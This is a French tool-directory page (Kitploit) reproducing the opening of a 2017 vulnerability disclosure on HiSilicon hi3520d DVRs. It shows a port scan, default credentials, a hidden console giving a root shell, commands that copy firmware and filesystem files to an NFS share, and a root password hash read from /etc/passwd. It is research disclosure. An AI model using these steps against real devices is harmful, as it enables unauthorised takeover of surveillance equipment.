Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
pwn-hisilicon-dvr — Exploit de preuve de concept et divulgation de vulnérabilité pour les appareils DVR/NVR HiSilicon hi3520d. Démontre une RCE via l'interface web, des identifiants backdoor et une analyse de débordement de tampon. | Kitploit
Outils/GitHubGitHub/tothi/pwn-hisilicon-dvr
Sécurité des Systèmes EmbarquésCassage de Mots de PasseSécurité IoTCartographie RéseauAnalyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebCollecte d'InformationsFuzzingAnalyse de Binaires
3839034il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubtothi/pwn-hisilicon-dvr

pwn-hisilicon-dvr

Exploit de preuve de concept et divulgation de vulnérabilité pour les appareils DVR/NVR HiSilicon hi3520d. Démontre une RCE via l'interface web, des identifiants backdoor et une analyse de débordement de tampon.

Voir le dépôt

= Piratage de DVR HiSilicon Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%

[abstract] Ce rapport divulgue des vulnérabilités graves (avec une preuve de concept (PoC)) des dispositifs DVR/NVR construits avec le HiSilicon hi3520d et des systèmes sur puce (SoC) similaires. L’exploitation des vulnérabilités mène à une exécution de code à distance non autorisée (RCE) en utilisant uniquement l’interface web, entraînant la prise de contrôle totale de l’appareil exploité. En raison de l’absence de firmwares mis à niveau, l’utilisation de ces appareils n’est pas recommandée. Le fournisseur a été contacté avant décembre 2016, mais toujours aucune réponse. La date de publication de la divulgation est février 2017.

== préface

Il y a quelques années, j’ai acheté un DVR chinois bon marché sur eBay. Le logo de démarrage de l’appareil indique : « SECULINK - Security Monitoring ». En tant que passionné de sécurité informatique, j’ai décidé d’examiner de plus près l’appareil pour voir à quel point ce service de surveillance est « sécurisé ». En cherchant sur Google, j’ai trouvé des documents intéressants, mais en creusant plus profondément, j’ai découvert des problèmes beaucoup plus intéressants et beaucoup plus graves (0-day) concernant l’appareil.

Examinons l’intégralité de la session de piratage depuis le début. (Les nouvelles découvertes personnelles seront mentionnées au même titre que les anciennes, déjà connues.)

== exploration du DVR

D’abord, nous devons apprendre l’interface utilisateur officielle, puis creuser plus profondément, peut-être essayer d’obtenir le firmware. Les chances de trouver des vulnérabilités augmentent avec le firmware.

=== le DVR au premier coup d’œil

Le DVR destiné aux tests porte la marque « Seculink ».

image::./seculink_device.png[Appareil DVR Seculink]

Interfaces physiques disponibles :

  • 2 ports USB (officiellement pour la souris afin de contrôler la console graphique),
  • port HDMI (et VGA) pour connecter un moniteur externe (pour les vues de l’interface graphique et des vues de caméras),
  • 4 connecteurs BNC pour caméras CCTV analogiques,
  • port SATA interne pour connecter un stockage afin d’enregistrer le flux vidéo,
  • port Ethernet pour l’accès réseau.

Interfaces utilisateur officielles :

  • accès direct en utilisant la sortie HDMI (ou VGA) et une souris / un clavier USB pour la saisie pour la visualisation / le contrôle des caméras / la configuration complète,
  • accès réseau via HTTP pour la visualisation / le contrôle des caméras.

L’interface de configuration directement accessible est protégée par l’authentification utilisateur (nom d’utilisateur, mot de passe). Le superutilisateur par défaut est « admin », le mot de passe par défaut est vide.

Après avoir défini un mot de passe fort, l’utilisateur peut se sentir en sécurité en pensant que sa vue des caméras n’est pas accessible aux autres. Les gens redirigent souvent le port web (tcp/80) du DVR vers le WAN depuis leur LAN sécurisé afin d’accéder aux flux du DVR depuis l’extérieur (on peut le vérifier par exemple avec une recherche Shodan appropriée ;) ).

=== obtention du firmware

Il existe peut-être de nombreuses façons d’obtenir le firmware :

  • l’obtenir de l’appareil par une méthode logicielle (en utilisant l’interface officielle, ou en exploitant une vulnérabilité),
  • l’obtenir de l’appareil par une méthode matérielle (JTAG, console série, etc.),
  • le trouver et le télécharger sur Internet (si disponible).

Bien que la dernière méthode (téléchargement) fonctionne ici et soit la plus simple, essayons la première, car elle donne aussi d’autres informations sur l’appareil.

=== scan des services

Faisons un scan complet des ports sur le DVR. Notez que le scan SYN (par défaut lorsqu’il est exécuté en root) est très lent en raison des paquets abandonnés, mais le scan complet par connexion TCP se termine en quelques minutes.


Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127

Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam

Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds


Résumé et tests manuels :

  • 23/tcp est une interface de connexion telnet protégée par un nom d’utilisateur
  • mot de passe (pas les identifiants de l’application)
  • 80/tcp est l’interface web protégée par les identifiants de l’application
  • 554/tcp est un service rtsp ; il peut être ouvert avec une URL rtsp courante :

rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

Notez que l’ouverture du flux rtsp nécessite également des identifiants.

  • 9527/tcp semble être un port de service (secret ?) avec des fonctionnalités très intéressantes,
  • 34567/tcp et 34599/tcp semblent être des ports de données liés à l’application DVR.

Il convient de noter ici que l’appareil est probablement un système de type Linux.

La connexion au port 9527/tcp (avec un netcat brut) affiche la console de l’application avec des messages de journalisation et une invite de connexion. La connexion avec n’importe lequel des identifiants définis de l’application fonctionne. Saisir help après l’ invite donne une courte description des commandes de la console. La commande shell semble être la plus intéressante. Oui, elle donne un shell root à l’appareil. ;)

Notez qu’il s’agit manifestement d’un grave problème de sécurité, car aucun utilisateur (à faibles privilèges) de l’application ne devrait obtenir un shell root sur l’appareil automatiquement.

=== shell root

L’exploration de l’appareil dans le shell root (par exemple avec dmesg) montre clairement que le DVR exécute un noyau Linux (version 3.0.8), possède un CPU ARMv7 et que le modèle de SoC est hi3520d.

D’après la liste des processus en cours d’exécution (ps), il est clair que l’application DVR est /var/Sofia, qui écoute également sur 34568/udp et 34569/udp en plus des ports tcp ci-dessus détectés par nmap (netstat -nlup).

D’après la liste des disques montés (commande mount), il est clair que l’ image du firmware se trouve dans les périphériques /dev/mtdblockX (où X=0,1,2,3,4,5).

Le firmware est petit et donc limité, nous devons donc faire preuve de créativité si nous voulons copier des fichiers vers/depuis l’appareil. Heureusement, NFS est pris en charge : configurer un serveur NFS sur notre machine de bureau et le monter depuis le DVR résout le problème :


mount -t nfs 192.168.88.100:/nfs /home -o nolock

Maintenant, obtenir le firmware est simple :


cat /dev/mtdblock1 > /home/mtdblock1-root.img cat /dev/mtdblock2 > /home/mtdblock2-usr.img cat /dev/mtdblock3 > /home/mtdblock3-custom.img cat /dev/mtdblock4 > /home/mtdblock4-logo.img cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

Nous pouvons obtenir les fichiers (pas seulement les images brutes) :


cp /var/Sofia /home/ tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var

=== interface telnet

Pour accéder à l’appareil via l’interface telnet (port 23/tcp), il nous faut peut-être des identifiants du système d’exploitation. En regardant /etc/passwd, nous avons le hash du mot de passe pour l’utilisateur root :


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

Télécharger l’outil